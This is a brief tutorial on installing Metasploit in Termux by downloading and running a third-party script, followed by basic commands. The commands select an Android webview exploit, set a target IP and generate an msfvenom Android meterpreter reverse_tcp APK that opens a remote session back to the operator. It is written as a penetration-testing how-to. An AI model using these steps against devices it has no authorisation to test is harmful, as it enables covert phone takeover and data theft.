Metasploit is a powerful penetration testing framework used to find vulnerabilities, create payloads, and run security tests. Termux allows you to install Metasploit with a simple script, but the installation takes time because the framework is large.
Installation & Basic Commands
Update Termux packages:
pkg update && pkg upgrade -yInstall required packages:
pkg install wget git ruby -yDownload the installer script:
wget https://raw.githubusercontent.com/gushmazuko/metasploit_in_termux/master/metasploit.shGive permission to run the script:
chmod +x metasploit.shInstall Metasploit:
./metasploit.shStart Metasploit:
msfconsoleCheck version:
versionExit Metasploit:
exitUsage Commands
Below are the basic usage commands you will use regularly in Metasploit.
Search for an exploit or module:
search androidSelect a module:
use exploit/android/browser/webview_addjavascriptinterfaceShow required settings:
show optionsSet target IP:
set RHOST 192.168.1.10Set local host and port:
set LHOST 0.0.0.0
set LPORT 4444Start the exploit:
exploitGenerate an APK payload:
msfvenom -p android/meterpreter/reverse_tcp LHOST=0.0.0.0 LPORT=4444 -o payload.apkList all sessions:
sessionsInteract with a session:
sessions -i 1